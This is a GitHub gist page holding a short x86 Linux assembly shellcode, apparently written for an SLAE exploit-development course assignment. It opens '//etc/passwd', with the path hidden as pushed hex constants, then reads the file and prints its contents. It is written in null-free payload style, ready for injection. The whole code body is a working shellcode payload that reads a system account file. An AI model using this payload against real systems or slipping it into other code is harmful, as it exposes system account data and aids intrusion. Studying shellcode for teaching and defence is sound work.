Last active
May 26, 2018 23:05
-
-
Save geyslan/5426567 to your computer and use it in GitHub Desktop.
Tiny Read File - Assembly Language - Linux/x86 - forlife
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/5th.assignment/tiny_read_file.asm | |
global _start | |
section .text | |
_start: | |
; int open(const char *pathname, int flags); | |
xor ecx, ecx | |
mul ecx | |
mov al, 5 | |
push ecx | |
push 0x64777373 | |
push 0x61702f63 | |
push 0x74652f2f | |
mov ebx, esp | |
int 0x80 | |
; ssize_t read(int fd, void *buf, size_t count); | |
xchg eax, ebx | |
xchg ecx, eax | |
mov al, 3 | |
xor edx, edx | |
mov dx, 4095 | |
inc edx | |
int 0x80 | |
; ssize_t write(int fd, const void *buf, size_t count); | |
xchg edx, eax | |
xor eax, eax | |
mov al, 4 | |
mov bl, 1 | |
int 0x80 | |
; void _exit(int status); | |
xchg eax, ebx | |
int 0x80 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment